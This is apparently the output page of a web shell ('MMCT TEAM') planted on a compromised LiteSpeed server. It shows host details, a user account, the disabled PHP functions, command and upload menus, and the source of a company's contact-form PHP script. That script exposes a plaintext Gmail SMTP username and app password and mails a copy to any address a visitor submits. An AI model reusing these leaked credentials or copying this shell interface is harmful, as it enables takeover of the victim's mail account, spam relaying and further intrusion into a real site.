MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/www/ncriptech-landing/frontend/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/www/ncriptech-landing/frontend/../send_email_contact_form.php
<?php
// Include PHPMailer classes
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
header('Content-Type: text/plain; charset=utf-8');

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $first_name = htmlspecialchars($_POST['first_name']);
    $last_name = htmlspecialchars($_POST['last_name']);
    $city = htmlspecialchars($_POST['city']);
    $country_id = htmlspecialchars($_POST['country_id']);
    $email = htmlspecialchars($_POST['email']);
    $looking_for = htmlspecialchars($_POST['looking_for']);
    $contact_category_id = htmlspecialchars($_POST['contact_category_id']);
    $contact_subcategory_id = htmlspecialchars($_POST['contact_subcategory_id']);
    $country_code = htmlspecialchars($_POST['country_code']);
    $contact_number = htmlspecialchars($_POST['contact_number']);
    $company_name = htmlspecialchars($_POST['company_name']);
    $message = htmlspecialchars($_POST['message']);

    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        echo "Invalid email format.";
        exit;
    }

    $mail = new PHPMailer(true);

    try {
        // SMTP configuration
        $mail->isSMTP();
        $mail->Host = 'smtp.gmail.com';
        $mail->SMTPAuth = true;
        $mail->Username = 'ncriptech1@gmail.com';
        $mail->Password = 'jigh mrpm wamg kodq';
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
        $mail->Port = 587;

        // Set the sender from your own email
        $mail->setFrom('ncriptech1@gmail.com', 'Ncriptech Contact Form');

        // Add main recipient
        $mail->addAddress('ncriptech@gmail.com');

        // Add user as reply-to and recipient (to send a copy)
        $mail->addReplyTo($email, $first_name);
        $mail->addAddress($email, $first_name); // Send a copy to the user

        // Email content
        $mail->isHTML(true);
        $mail->Subject = 'Thank you for contacting us';
        $mail->Body = "
            <p>You have submitted a contact request. Here's a copy of your message:</p>
            <hr>
            <b>First Name:</b> $first_name<br>
            <b>Last Name:</b> $last_name<br>
            <b>City:</b> $city<br>
            <b>Country:</b> $country_id<br>
            <b>Email:</b> $email<br>
            <b>Purpose of Contact:</b> $looking_for<br>
            <b>Select a Service:</b> $contact_category_id<br>
            <b>Service Subcategory:</b> $contact_subcategory_id<br>
            <b>Country Code:</b> $country_code<br>
            <b>Contact Number:</b> $contact_number<br>
            <b>Company Name:</b> $company_name<br>
            <b>Message:</b> $message<br>
            <hr>
            <p>Our team will get back to you soon. Thank you!</p>
        ";

        $mail->send();
        echo 'ok';
    } catch (Exception $e) {
        echo "error {$mail->ErrorInfo}";
    }
} else {
    echo "error";
}

MMCT - 2023